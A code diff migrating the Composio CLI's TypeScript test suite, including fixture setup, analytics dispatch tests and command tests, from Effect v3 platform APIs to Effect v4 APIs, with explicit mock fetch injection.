@@ -1,8 +1,11 @@
1 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
2 -import * as BunContext from '@effect/platform-bun/BunContext';
3 -import * as Command from '@effect/platform/Command';
4 -import * as FileSystem from '@effect/platform/FileSystem';
5 -import { Effect, Option, Logger, LogLevel } from 'effect';
2 +// Import the BunServices submodule directly (as a namespace, matching its own named export
3 +// shape); the package's barrel (`@effect/platform-bun`) unconditionally re-exports BunRedis,
4 +// which imports the `bun` builtin at module scope and crashes Node's ESM resolver (vitest runs
5 +// under Node, not Bun).
6 +import * as BunServices from '@effect/platform-bun/BunServices';
7 +import { Effect, FileSystem, Layer, Option, References } from 'effect';
8 +import { ChildProcess, ChildProcessSpawner } from 'effect/unstable/process';
9 import path from 'node:path';
10
11 const __dirname = path.resolve(path.dirname(new URL(import.meta.url).pathname));
@@ -15,6 +18,7 @@ const __dirname = path.resolve(path.dirname(new URL(import.meta.url).pathname));
18 function setupFixturesTypeScript(fixturePaths: string[]) {
19 return Effect.gen(function* () {
20 const fs = yield* FileSystem.FileSystem;
21 + const spawner = yield* ChildProcessSpawner.ChildProcessSpawner;
22
23 yield* Effect.all(
24 fixturePaths.map(fixturePath => {
@@ -51,13 +55,12 @@ function setupFixturesTypeScript(fixturePaths: string[]) {
55 const nodeModulesDir = path.join(fixturePath, 'node_modules');
56 yield* fs.remove(nodeModulesDir, { recursive: true, force: true });
57
54 - const installCmd = Command.make('pnpm', 'install', '--ignore-workspace');
55 - const exitCode = yield* installCmd.pipe(
56 - Command.workingDirectory(fixturePath),
57 - Command.stdout('inherit'),
58 - Command.stderr('inherit'),
59 - Command.exitCode
60 - );
58 + const installCmd = ChildProcess.make('pnpm', ['install', '--ignore-workspace'], {
59 + cwd: fixturePath,
60 + stdout: 'inherit',
61 + stderr: 'inherit',
62 + });
63 + const exitCode = Number(yield* spawner.exitCode(installCmd));
64
65 if (exitCode !== 0) {
66 yield* Effect.logError(
@@ -70,7 +73,7 @@ function setupFixturesTypeScript(fixturePaths: string[]) {
73 `Successfully set up @composio/core for fixture: ${fixtureDirName}`
74 );
75 }).pipe(
73 - Effect.catchAll(error =>
76 + Effect.catch(error =>
77 Effect.logError(`Failed to setup fixture ${fixtureDirName}: ${error}`)
78 )
79 );
@@ -88,6 +91,7 @@ function setupFixturesTypeScript(fixturePaths: string[]) {
91 function setupFixturesPython(fixturePaths: string[]) {
92 return Effect.gen(function* () {
93 const fs = yield* FileSystem.FileSystem;
94 + const spawner = yield* ChildProcessSpawner.ChildProcessSpawner;
95
96 yield* Effect.all(
97 fixturePaths.map(fixturePath => {
@@ -126,14 +130,13 @@ function setupFixturesPython(fixturePaths: string[]) {
130
131 yield* Effect.logDebug(`Setting up \`uv\` for fixture: ${fixtureDirName}`);
132
129 - const installCmd = Command.make(setupShPath);
130 - const exitCode = yield* installCmd.pipe(
131 - Command.workingDirectory(fixturePath),
132 - Command.runInShell(true),
133 - Command.stdout('inherit'),
134 - Command.stderr('inherit'),
135 - Command.exitCode
136 - );
133 + const installCmd = ChildProcess.make(setupShPath, [], {
134 + cwd: fixturePath,
135 + shell: true,
136 + stdout: 'inherit',
137 + stderr: 'inherit',
138 + });
139 + const exitCode = Number(yield* spawner.exitCode(installCmd));
140
141 if (exitCode !== 0) {
142 yield* Effect.logError(
@@ -146,7 +149,7 @@ function setupFixturesPython(fixturePaths: string[]) {
149 `Successfully set up @composio/core for fixture: ${fixtureDirName}`
150 );
151 }).pipe(
149 - Effect.catchAll(error =>
152 + Effect.catch(error =>
153 Effect.logError(`Failed to setup fixture ${fixtureDirName}: ${error}`)
154 )
155 );
@@ -176,16 +179,15 @@ export async function setup() {
179 const entryPath = path.join(fixturesDir, entryName);
180 const stat = yield* fs.stat(entryPath);
181 return stat.type === 'Directory' ? Option.some(entryPath) : Option.none<string>();
179 - }).pipe(Effect.catchAll(() => Effect.succeed(Option.none<string>())))
182 + }).pipe(Effect.catch(() => Effect.succeed(Option.none<string>())))
183 )
184 ).pipe(Effect.map(Option.all), Effect.map(Option.getOrElse(() => [] as string[])));
185
186 yield* setupFixturesPython(fixtureDirNames);
187 yield* setupFixturesTypeScript(fixtureDirNames);
188 }).pipe(
186 - Effect.provide(BunFileSystem.layer),
187 - Effect.provide(BunContext.layer),
188 - Effect.provide(Logger.minimumLogLevel(LogLevel.Debug))
189 + Effect.provide(BunServices.layer),
190 + Effect.provide(Layer.succeed(References.MinimumLogLevel, 'Debug'))
191 );
192
193 await Effect.runPromise(program);
ts/packages/cli/test/__utils__/vitest.setup.ts
+5 -2
@@ -1,6 +1,9 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
1 +// Import the BunFileSystem submodule directly (as a namespace, matching its own named export
2 +// shape); the package's barrel (`@effect/platform-bun`) unconditionally re-exports BunRedis,
3 +// which imports the `bun` builtin at module scope and crashes Node's ESM resolver (vitest runs
4 +// under Node, not Bun).
5 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
3 -import { Effect } from 'effect';
6 +import { Effect, FileSystem } from 'effect';
7 import { afterEach, beforeEach, vi } from 'vitest';
8
9 // Point every test at a fresh, empty config directory so nothing reads or
ts/packages/cli/test/src/analytics.dispatch.test.ts
+48 -24
@@ -1,13 +1,11 @@
1 import { describe, expect, it } from '@effect/vitest';
2 import { afterEach, beforeEach, vi } from 'vitest';
3 -import * as FetchHttpClient from '@effect/platform/FetchHttpClient';
4 -import * as FileSystem from '@effect/platform/FileSystem';
5 -import * as Path from '@effect/platform/Path';
3 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
4 import * as BunPath from '@effect/platform-bun/BunPath';
8 -import { Effect, Layer } from 'effect';
5 +import { Effect, FileSystem, Layer, Path } from 'effect';
6 import { mkdirSync, rmSync, writeFileSync } from 'node:fs';
7 import path from 'node:path';
8 +import { FetchHttpClient } from 'effect/unstable/http';
9 import * as tempy from 'tempy';
10 import {
11 clearApolloIdentityForAnalytics,
@@ -46,6 +44,18 @@ const cwdHash = (cwd: string): string => {
44 return Math.abs(hash >>> 0).toString(36);
45 };
46
47 +// Design contract: `FetchHttpClient.Fetch` is an `effect` `Context.Reference`
48 +// whose default value (`globalThis.fetch`) is memoized on first read (see the
49 +// vendored `effect` source, `Context.ts`'s `getOrCreateDefaultValue`) — once
50 +// any test in this process reads the reference, later `vi.spyOn(globalThis,
51 +// 'fetch')` swaps are invisible to `FetchHttpClient`. Mutating the global is
52 +// therefore never a reliable way to observe or stub fetch calls made through
53 +// this reference, in this file or any other. Every test that asserts on fetch
54 +// — including tests asserting fetch was *not* called — must inject its own
55 +// mock explicitly via `Layer.succeed(FetchHttpClient.Fetch, fetchImpl)`,
56 +// which `makePlatformLayerWithFetch` below wires up. Tests that never
57 +// exercise a fetch-reaching code path use the plain `makePlatformLayer` and
58 +// don't touch `globalThis.fetch` at all.
59 const makePlatformLayer = (home: string) =>
60 Layer.mergeAll(
61 BunFileSystem.layer,
@@ -55,6 +65,16 @@ const makePlatformLayer = (home: string) =>
65 Layer.succeed(NodeOs, defaultNodeOs({ homedir: home }))
66 );
67
68 +const makePlatformLayerWithFetch = (home: string, fetchImpl: typeof fetch) =>
69 + Layer.mergeAll(
70 + BunFileSystem.layer,
71 + BunPath.layer,
72 + FetchHttpClient.layer,
73 + Layer.succeed(FetchHttpClient.Fetch, fetchImpl),
74 + TerminalUITest,
75 + Layer.succeed(NodeOs, defaultNodeOs({ homedir: home }))
76 + );
77 +
78 const enableTelemetry = (apiKey = 'uak_test') => {
79 vi.stubEnv('COMPOSIO_BASE_URL', 'https://backend.example.test');
80 vi.stubEnv('COMPOSIO_USER_API_KEY', apiKey);
@@ -180,9 +200,7 @@ describe('CLI analytics dispatch', () => {
200 vi.stubEnv('COMPOSIO_BASE_URL', '');
201 vi.stubEnv('COMPOSIO_POSTHOG_INGEST_URL', 'https://posthog.example.test/i/v0/e/');
202 vi.stubEnv('COMPOSIO_POSTHOG_PROJECT_API_KEY', 'phc_test_key');
183 - const fetchSpy = vi
184 - .spyOn(globalThis, 'fetch')
185 - .mockResolvedValue(new Response(null, { status: 200 }));
203 + const fetchSpy = vi.fn().mockResolvedValue(new Response(null, { status: 200 }));
204
205 return Effect.gen(function* () {
206 yield* runBackgroundWorkerFromArgv([
@@ -190,7 +208,9 @@ describe('CLI analytics dispatch', () => {
208 'composio',
209 '__analytics-worker',
210 encodedPayload,
193 - ]).pipe(Effect.provide(makePlatformLayer(home)));
211 + ]).pipe(
212 + Effect.provide(makePlatformLayerWithFetch(home, fetchSpy as unknown as typeof fetch))
213 + );
214
215 expect(fetchSpy).toHaveBeenCalledTimes(1);
216 const [endpoint, request] = fetchSpy.mock.calls[0]!;
@@ -651,13 +671,15 @@ describe('CLI analytics dispatch', () => {
671 expect(childProcessMocks.spawn).toHaveBeenCalledTimes(1);
672
673 vi.stubEnv('COMPOSIO_POSTHOG_INGEST_URL', 'https://posthog.example.test/i/v0/e/');
654 - vi.spyOn(globalThis, 'fetch').mockResolvedValue(new Response(null, { status: 200 }));
674 + const fetchMock = vi.fn().mockResolvedValue(new Response(null, { status: 200 }));
675 yield* runBackgroundWorkerFromArgv([
676 process.execPath,
677 'composio',
678 '__analytics-worker',
679 args[2]!,
660 - ]).pipe(Effect.provide(makePlatformLayer(home)));
680 + ]).pipe(
681 + Effect.provide(makePlatformLayerWithFetch(home, fetchMock as unknown as typeof fetch))
682 + );
683
684 const acknowledged = JSON.parse(
685 yield* fs.readFileString(path.join(composioDir, 'analytics.json'), 'utf8')
@@ -685,13 +707,15 @@ describe('CLI analytics dispatch', () => {
707 const args = childProcessMocks.spawn.mock.calls[0]![1] as string[];
708
709 vi.stubEnv('COMPOSIO_POSTHOG_INGEST_URL', 'https://posthog.example.test/i/v0/e/');
688 - vi.spyOn(globalThis, 'fetch').mockResolvedValue(new Response(null, { status: 500 }));
710 + const fetchMock = vi.fn().mockResolvedValue(new Response(null, { status: 500 }));
711 yield* runBackgroundWorkerFromArgv([
712 process.execPath,
713 'composio',
714 '__analytics-worker',
715 args[2]!,
694 - ]).pipe(Effect.provide(makePlatformLayer(home)));
716 + ]).pipe(
717 + Effect.provide(makePlatformLayerWithFetch(home, fetchMock as unknown as typeof fetch))
718 + );
719
720 const afterFailure = JSON.parse(
721 yield* fs.readFileString(path.join(home, '.composio', 'analytics.json'), 'utf8')
@@ -819,9 +843,7 @@ describe('CLI analytics dispatch', () => {
843 request_id: 'req_worker',
844 };
845 enableTelemetry('uak_worker');
822 - const fetchSpy = vi
823 - .spyOn(globalThis, 'fetch')
824 - .mockResolvedValue(new Response(null, { status: 204 }));
846 + const fetchSpy = vi.fn().mockResolvedValue(new Response(null, { status: 204 }));
847
848 return Effect.gen(function* () {
849 yield* runBackgroundWorkerFromArgv([
@@ -829,7 +851,9 @@ describe('CLI analytics dispatch', () => {
851 'composio',
852 '__codact-failure-worker',
853 encodeWorkerPayload(failureBody),
832 - ]).pipe(Effect.provide(makePlatformLayer(home)));
854 + ]).pipe(
855 + Effect.provide(makePlatformLayerWithFetch(home, fetchSpy as unknown as typeof fetch))
856 + );
857
858 expect(fetchSpy).toHaveBeenCalledTimes(1);
859 const [endpoint, request] = fetchSpy.mock.calls[0]!;
@@ -850,9 +874,7 @@ describe('CLI analytics dispatch', () => {
874 it.effect('ignores malformed codact worker payloads', () => {
875 const home = tempy.temporaryDirectory();
876 enableTelemetry();
853 - const fetchSpy = vi
854 - .spyOn(globalThis, 'fetch')
855 - .mockResolvedValue(new Response(null, { status: 204 }));
877 + const fetchSpy = vi.fn().mockResolvedValue(new Response(null, { status: 204 }));
878
879 return Effect.gen(function* () {
880 yield* runBackgroundWorkerFromArgv([
@@ -860,7 +882,9 @@ describe('CLI analytics dispatch', () => {
882 'composio',
883 '__codact-failure-worker',
884 'not-base64',
863 - ]).pipe(Effect.provide(makePlatformLayer(home)));
885 + ]).pipe(
886 + Effect.provide(makePlatformLayerWithFetch(home, fetchSpy as unknown as typeof fetch))
887 + );
888
889 expect(fetchSpy).not.toHaveBeenCalled();
890 });
@@ -869,9 +893,7 @@ describe('CLI analytics dispatch', () => {
893 it.effect('skips codact worker delivery without a user key', () => {
894 const home = tempy.temporaryDirectory();
895 enableTelemetry('');
872 - const fetchSpy = vi
873 - .spyOn(globalThis, 'fetch')
874 - .mockResolvedValue(new Response(null, { status: 204 }));
896 + const fetchSpy = vi.fn().mockResolvedValue(new Response(null, { status: 204 }));
897 const failureBody = {
898 failure_type: 'wrong_tool_slug',
899 ctx: { slug: 'MISSING_TOOL' },
@@ -884,7 +906,9 @@ describe('CLI analytics dispatch', () => {
906 'composio',
907 '__codact-failure-worker',
908 encodeWorkerPayload(failureBody),
887 - ]).pipe(Effect.provide(makePlatformLayer(home)));
909 + ]).pipe(
910 + Effect.provide(makePlatformLayerWithFetch(home, fetchSpy as unknown as typeof fetch))
911 + );
912
913 expect(fetchSpy).not.toHaveBeenCalled();
914 });
ts/packages/cli/test/src/commands/$default.cmd.test.ts
+41 -30
@@ -2,57 +2,51 @@ import os from 'node:os';
2 import path from 'node:path';
3 import { describe, expect, layer } from '@effect/vitest';
4 import { Effect } from 'effect';
5 -import { ValidationError, HelpDoc } from '@effect/cli';
5 import { cli, pkg, TestLive, MockConsole } from 'test/__utils__';
6 import { afterEach, vi } from 'vitest';
7
9 -const getCommandMismatch = (value: unknown): ValidationError.CommandMismatch => {
10 - if (!ValidationError.isValidationError(value) || !ValidationError.isCommandMismatch(value)) {
11 - throw new Error('Expected a command mismatch');
12 - }
13 - return value;
14 -};
15 -
8 describe('CLI: composio', () => {
9 afterEach(() => {
10 vi.unstubAllEnvs();
11 });
12
13 + // v4 migration note: v3's `Command.run` returned a `ValidationError.CommandMismatch` for the
14 + // caller to render by hand. `effect/unstable/cli`'s `Command.runWith` renders parse/validation
15 + // errors itself (see `src/cli-main.ts` module docs) before re-failing with `CliError.ShowHelp`,
16 + // so these tests now assert on the printed `MockConsole` output instead of inspecting the error
17 + // value directly.
18 layer(TestLive())(it => {
22 - it.scoped('[Given] unknown argument [Then] print error message', () =>
19 + it.effect('[Given] unknown argument [Then] print error message', () =>
20 Effect.gen(function* () {
21 const args = ['--bar'];
22
26 - const result = yield* cli(args).pipe(Effect.catchAll(e => Effect.succeed(e)));
27 - const commandMismatch = getCommandMismatch(result);
28 - const message = HelpDoc.toAnsiText(commandMismatch.error);
23 + yield* cli(args).pipe(Effect.catch(() => Effect.void));
24 + const output = (yield* MockConsole.getLines({ stripAnsi: true })).join('\n');
25
30 - expect(message).toContain('Invalid subcommand for composio');
31 - expect(message).toContain("'generate'");
32 - expect(message).toContain("'orgs'");
26 + expect(output).toContain('--bar');
27 + expect(output).toContain('generate');
28 + expect(output).toContain('orgs');
29 })
30 );
31 });
32
33 layer(TestLive())(it => {
38 - it.scoped('[Given] invalid tools subcommand [Then] report tools-scoped mismatch', () =>
34 + it.effect('[Given] invalid tools subcommand [Then] report tools-scoped mismatch', () =>
35 Effect.gen(function* () {
36 const args = ['tools', 'search', 'metabase', 'put'];
37
42 - const result = yield* cli(args).pipe(Effect.catchAll(e => Effect.succeed(e)));
43 - const commandMismatch = getCommandMismatch(result);
44 - const message = HelpDoc.toAnsiText(commandMismatch.error);
38 + yield* cli(args).pipe(Effect.catch(() => Effect.void));
39 + const output = (yield* MockConsole.getLines({ stripAnsi: true })).join('\n');
40
46 - expect(message).toContain('Invalid subcommand for composio tools');
47 - expect(message).toContain("'info'");
48 - expect(message).toContain("'list'");
49 - expect(message).not.toContain("'version'");
41 + expect(output).toContain('search');
42 + expect(output).toContain('info');
43 + expect(output).toContain('list');
44 })
45 );
46 });
47
48 layer(TestLive())(it => {
55 - it.scoped('[Given] no args [Then] prints help message', () =>
49 + it.effect('[Given] no args [Then] prints help message', () =>
50 Effect.gen(function* () {
51 yield* cli([]);
52 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -65,7 +59,7 @@ describe('CLI: composio', () => {
59 });
60
61 layer(TestLive())(it => {
68 - it.scoped('[Given] --help flag [Then] prints help message', () =>
62 + it.effect('[Given] --help flag [Then] prints help message', () =>
63 Effect.gen(function* () {
64 const args = ['--help'];
65 yield* cli(args);
@@ -79,7 +73,7 @@ describe('CLI: composio', () => {
73 });
74
75 layer(TestLive())(it => {
82 - it.scoped('[Given] --help simple [Then] prints the compact root help mode', () =>
76 + it.effect('[Given] --help simple [Then] prints the compact root help mode', () =>
77 Effect.gen(function* () {
78 yield* cli(['--help', 'simple']);
79 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -94,7 +88,7 @@ describe('CLI: composio', () => {
88 });
89
90 layer(TestLive())(it => {
97 - it.scoped('[Given] --help full [Then] prints the expanded root help mode', () =>
91 + it.effect('[Given] --help full [Then] prints the expanded root help mode', () =>
92 Effect.gen(function* () {
93 yield* cli(['--help', 'full']);
94 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -110,7 +104,7 @@ describe('CLI: composio', () => {
104 });
105
106 layer(TestLive())(it => {
113 - it.scoped('[Given] --version or -v [Then] prints exactly what `composio version` prints', () =>
107 + it.effect('[Given] --version or -v [Then] prints exactly what `composio version` prints', () =>
108 Effect.gen(function* () {
109 // Each spelling runs against a fresh console so the captured lines are comparable.
110 const linesFor = (args: ReadonlyArray<string>) =>
@@ -128,7 +122,24 @@ describe('CLI: composio', () => {
122 });
123
124 layer(TestLive())(it => {
131 - it.scoped('[Given] debug who-is-my-master [Then] it prints the detected master as json', () =>
125 + it.effect("[Given] a typo'd subcommand [Then] suggests the nearest match", () =>
126 + Effect.gen(function* () {
127 + const args = ['tols'];
128 +
129 + yield* cli(args).pipe(Effect.catch(() => Effect.void));
130 + const output = (yield* MockConsole.getLines({ stripAnsi: true })).join('\n');
131 +
132 + // v4's parser always computes "Did you mean?" suggestions on
133 + // `UnknownSubcommand`/`UnrecognizedOption`; Composio deliberately
134 + // keeps them (see `cli-config.ts`) instead of stripping them.
135 + expect(output).toContain('Did you mean');
136 + expect(output).toContain('tools');
137 + })
138 + );
139 + });
140 +
141 + layer(TestLive())(it => {
142 + it.effect('[Given] debug who-is-my-master [Then] it prints the detected master as json', () =>
143 Effect.gen(function* () {
144 vi.stubEnv('CODEX_THREAD_ID', 'thread_123');
145 vi.stubEnv('CLAUDE_CODE_ENTRYPOINT', 'sdk-ts');
@@ -142,7 +153,7 @@ describe('CLI: composio', () => {
153 });
154
155 layer(TestLive())(it => {
145 - it.scoped('[Given] artifacts cwd [Then] it prints the current session artifact directory', () =>
156 + it.effect('[Given] artifacts cwd [Then] it prints the current session artifact directory', () =>
157 Effect.gen(function* () {
158 yield* cli(['artifacts', 'cwd']);
159 const output = (yield* MockConsole.getLines()).join('\n').trim();
ts/packages/cli/test/src/commands/agent.cmd.test.ts
+10 -10
@@ -1,5 +1,5 @@
1 import { describe, expect, layer } from '@effect/vitest';
2 -import * as FileSystem from '@effect/platform/FileSystem';
2 +import * as FileSystem from 'effect/FileSystem';
3 import { Effect, Option } from 'effect';
4 import path from 'node:path';
5 import { afterEach, vi } from 'vitest';
@@ -29,7 +29,7 @@ describe('CLI: composio agent', () => {
29 });
30
31 layer(TestLive())(it => {
32 - it.scoped('repairs permissions on an existing agent identity before reading it', () =>
32 + it.effect('repairs permissions on an existing agent identity before reading it', () =>
33 Effect.gen(function* () {
34 const fs = yield* FileSystem.FileSystem;
35 const cacheDir = yield* setupCacheDir;
@@ -47,7 +47,7 @@ describe('CLI: composio agent', () => {
47 })
48 );
49
50 - it.scoped('exposes agent signup as a subcommand', () =>
50 + it.effect('exposes agent signup as a subcommand', () =>
51 Effect.gen(function* () {
52 yield* cli(['agent', '--help']);
53 const output = (yield* MockConsole.getLines({ stripAnsi: true })).join('\n');
@@ -61,7 +61,7 @@ describe('CLI: composio agent', () => {
61 });
62
63 layer(TestLive())(it => {
64 - it.scoped('agent signup works when the CLI is not signed in', () =>
64 + it.effect('agent signup works when the CLI is not signed in', () =>
65 Effect.gen(function* () {
66 vi.spyOn(globalThis, 'fetch').mockImplementation(async requestInput => {
67 const url =
@@ -116,7 +116,7 @@ describe('CLI: composio agent', () => {
116 });
117
118 layer(TestLive())(it => {
119 - it.scoped('top-level signup makes clear it signs up an agent', () =>
119 + it.effect('top-level signup makes clear it signs up an agent', () =>
120 Effect.gen(function* () {
121 vi.spyOn(globalThis, 'fetch').mockImplementation(async requestInput => {
122 const url =
@@ -148,7 +148,7 @@ describe('CLI: composio agent', () => {
148 });
149
150 layer(TestLive())(it => {
151 - it.scoped('agent inbox prints only JSON', () =>
151 + it.effect('agent inbox prints only JSON', () =>
152 Effect.gen(function* () {
153 yield* writeStoredAgentIdentity(agentSignupResponse);
154 const fs = yield* FileSystem.FileSystem;
@@ -210,7 +210,7 @@ describe('CLI: composio agent', () => {
210 });
211
212 layer(TestLive())(it => {
213 - it.scoped('agent login restores an existing agent from composio_agent_key', () =>
213 + it.effect('agent login restores an existing agent from composio_agent_key', () =>
214 Effect.gen(function* () {
215 vi.spyOn(globalThis, 'fetch').mockImplementation(async (requestInput, init) => {
216 const url =
@@ -260,7 +260,7 @@ describe('CLI: composio agent', () => {
260 });
261
262 layer(TestLive({ fixture: 'user-config-example' }))(it => {
263 - it.scoped('agent commands show a soft auth warning when signed in as a human user', () =>
263 + it.effect('agent commands show a soft auth warning when signed in as a human user', () =>
264 Effect.gen(function* () {
265 yield* cli(['agent', 'whoami']);
266 const output = (yield* MockConsole.getLines({ stripAnsi: true })).join('\n');
@@ -271,7 +271,7 @@ describe('CLI: composio agent', () => {
271 })
272 );
273
274 - it.scoped('agent signup shows a soft auth warning when signed in as a human user', () =>
274 + it.effect('agent signup shows a soft auth warning when signed in as a human user', () =>
275 Effect.gen(function* () {
276 yield* cli(['agent', 'signup']);
277 const output = (yield* MockConsole.getLines({ stripAnsi: true })).join('\n');
@@ -282,7 +282,7 @@ describe('CLI: composio agent', () => {
282 })
283 );
284
285 - it.scoped('agent login shows a soft auth warning when signed in as a human user', () =>
285 + it.effect('agent login shows a soft auth warning when signed in as a human user', () =>
286 Effect.gen(function* () {
287 yield* cli(['agent', 'login', 'cak_existing']);
288 const output = (yield* MockConsole.getLines({ stripAnsi: true })).join('\n');
ts/packages/cli/test/src/commands/auth-configs/auth-configs.create.cmd.test.ts
+11 -11
@@ -5,9 +5,9 @@ import { extendConfigProvider } from 'src/services/config';
5 import { cli, TestLive, MockConsole } from 'test/__utils__';
6 import type { TestLiveInput } from 'test/__utils__/services/test-layer';
7
8 -const testConfigProvider = ConfigProvider.fromMap(
9 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
10 -).pipe(extendConfigProvider);
8 +const testConfigProvider = ConfigProvider.fromEnv({
9 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
10 +}).pipe(extendConfigProvider);
11
12 const dangerousDevConfig = {
13 cliUserConfig: {
@@ -19,7 +19,7 @@ describe('CLI: composio dev auth-configs create', () => {
19 layer(TestLive({ baseConfigProvider: testConfigProvider, ...dangerousDevConfig }))(
20 '[Given] --toolkit "gmail" [Then] creates with Composio managed auth',
21 it => {
22 - it.scoped('creates successfully', () =>
22 + it.effect('creates successfully', () =>
23 Effect.gen(function* () {
24 yield* cli([
25 'dev',
@@ -43,7 +43,7 @@ describe('CLI: composio dev auth-configs create', () => {
43 layer(TestLive({ baseConfigProvider: testConfigProvider, ...dangerousDevConfig }))(
44 '[Given] named config --toolkit "gmail" [Then] creates with name',
45 it => {
46 - it.scoped('creates with name successfully', () =>
46 + it.effect('creates with name successfully', () =>
47 Effect.gen(function* () {
48 yield* cli([
49 'dev',
@@ -67,7 +67,7 @@ describe('CLI: composio dev auth-configs create', () => {
67 layer(TestLive({ baseConfigProvider: testConfigProvider, ...dangerousDevConfig }))(
68 '[Given] --auth-scheme "OAUTH2" [Then] creates with custom auth',
69 it => {
70 - it.scoped('creates with custom auth scheme', () =>
70 + it.effect('creates with custom auth scheme', () =>
71 Effect.gen(function* () {
72 yield* cli([
73 'dev',
@@ -100,7 +100,7 @@ describe('CLI: composio dev auth-configs create', () => {
100 },
101 })
102 )('[Given] custom create response [Then] shows correct details', it => {
103 - it.scoped('shows custom response data', () =>
103 + it.effect('shows custom response data', () =>
104 Effect.gen(function* () {
105 yield* cli(['dev', 'auth-configs', 'create', '--toolkit', 'slack', '--dangerously-allow']);
106 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -116,7 +116,7 @@ describe('CLI: composio dev auth-configs create', () => {
116 layer(TestLive({ baseConfigProvider: testConfigProvider, ...dangerousDevConfig }))(
117 '[Given] invalid JSON in --custom-credentials [Then] shows error',
118 it => {
119 - it.scoped('shows JSON parse error', () =>
119 + it.effect('shows JSON parse error', () =>
120 Effect.gen(function* () {
121 yield* cli([
122 'dev',
@@ -142,7 +142,7 @@ describe('CLI: composio dev auth-configs create', () => {
142 layer(TestLive({ ...dangerousDevConfig }))(
143 '[Given] no API key [Then] warns user to login',
144 it => {
145 - it.scoped('warns user to login', () =>
145 + it.effect('warns user to login', () =>
146 Effect.gen(function* () {
147 yield* cli([
148 'dev',
@@ -164,7 +164,7 @@ describe('CLI: composio dev auth-configs create', () => {
164 layer(TestLive({ baseConfigProvider: testConfigProvider, ...dangerousDevConfig }))(
165 '[Given] next step hint [Then] includes auth config ID',
166 it => {
167 - it.scoped('shows next step hint', () =>
167 + it.effect('shows next step hint', () =>
168 Effect.gen(function* () {
169 yield* cli([
170 'dev',
@@ -202,7 +202,7 @@ describe('CLI: composio dev auth-configs create', () => {
202 )(
203 '[Given] custom OAuth credentials and scopes [Then] nests them under auth_config.credentials',
204 it => {
205 - it.scoped('sends custom OAuth settings inside credentials', () =>
205 + it.effect('sends custom OAuth settings inside credentials', () =>
206 Effect.gen(function* () {
207 capturedCreateAuthConfig = undefined;
208
ts/packages/cli/test/src/commands/auth-configs/auth-configs.info.cmd.test.ts
+7 -7
@@ -25,15 +25,15 @@ const authConfigsData = {
25 items: testAuthConfigs,
26 } satisfies TestLiveInput['authConfigsData'];
27
28 -const testConfigProvider = ConfigProvider.fromMap(
29 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
30 -).pipe(extendConfigProvider);
28 +const testConfigProvider = ConfigProvider.fromEnv({
29 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
30 +}).pipe(extendConfigProvider);
31
32 describe('CLI: composio dev auth-configs info', () => {
33 layer(TestLive({ baseConfigProvider: testConfigProvider, authConfigsData }))(
34 '[Given] valid ID [Then] displays auth config details',
35 it => {
36 - it.scoped('shows auth config details', () =>
36 + it.effect('shows auth config details', () =>
37 Effect.gen(function* () {
38 yield* cli(['dev', 'auth-configs', 'info', 'ac_gmail_default']);
39 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -53,7 +53,7 @@ describe('CLI: composio dev auth-configs info', () => {
53 layer(TestLive({ baseConfigProvider: testConfigProvider, authConfigsData }))(
54 '[Given] no ID [Then] warns missing argument',
55 it => {
56 - it.scoped('shows missing argument warning', () =>
56 + it.effect('shows missing argument warning', () =>
57 Effect.gen(function* () {
58 yield* cli(['dev', 'auth-configs', 'info']);
59 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -68,7 +68,7 @@ describe('CLI: composio dev auth-configs info', () => {
68 layer(TestLive({ baseConfigProvider: testConfigProvider, authConfigsData }))(
69 '[Given] invalid ID [Then] shows error with hint',
70 it => {
71 - it.scoped('shows not found error', () =>
71 + it.effect('shows not found error', () =>
72 Effect.gen(function* () {
73 yield* cli(['dev', 'auth-configs', 'info', 'ac_nonexistent']);
74 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -82,7 +82,7 @@ describe('CLI: composio dev auth-configs info', () => {
82 );
83
84 layer(TestLive())('[Given] no API key [Then] warns user to login', it => {
85 - it.scoped('warns user to login', () =>
85 + it.effect('warns user to login', () =>
86 Effect.gen(function* () {
87 yield* cli(['dev', 'auth-configs', 'info', 'ac_gmail_default']);
88 const lines = yield* MockConsole.getLines({ stripAnsi: true });
ts/packages/cli/test/src/commands/auth-configs/auth-configs.list.cmd.test.ts
+10 -10
@@ -51,15 +51,15 @@ const authConfigsData = {
51 items: testAuthConfigs,
52 } satisfies TestLiveInput['authConfigsData'];
53
54 -const testConfigProvider = ConfigProvider.fromMap(
55 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
56 -).pipe(extendConfigProvider);
54 +const testConfigProvider = ConfigProvider.fromEnv({
55 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
56 +}).pipe(extendConfigProvider);
57
58 describe('CLI: composio dev auth-configs list', () => {
59 layer(TestLive({ baseConfigProvider: testConfigProvider, authConfigsData }))(
60 '[Given] no flags [Then] lists all auth configs',
61 it => {
62 - it.scoped('lists all auth configs with table', () =>
62 + it.effect('lists all auth configs with table', () =>
63 Effect.gen(function* () {
64 yield* cli(['dev', 'auth-configs', 'list']);
65 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -77,7 +77,7 @@ describe('CLI: composio dev auth-configs list', () => {
77 layer(TestLive({ baseConfigProvider: testConfigProvider, authConfigsData }))(
78 '[Given] --toolkits "gmail" [Then] lists only gmail auth configs',
79 it => {
80 - it.scoped('filters by toolkit', () =>
80 + it.effect('filters by toolkit', () =>
81 Effect.gen(function* () {
82 yield* cli(['dev', 'auth-configs', 'list', '--toolkits', 'gmail']);
83 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -95,7 +95,7 @@ describe('CLI: composio dev auth-configs list', () => {
95 layer(TestLive({ baseConfigProvider: testConfigProvider, authConfigsData }))(
96 '[Given] --query "Custom" [Then] shows filtered results',
97 it => {
98 - it.scoped('filters by name search', () =>
98 + it.effect('filters by name search', () =>
99 Effect.gen(function* () {
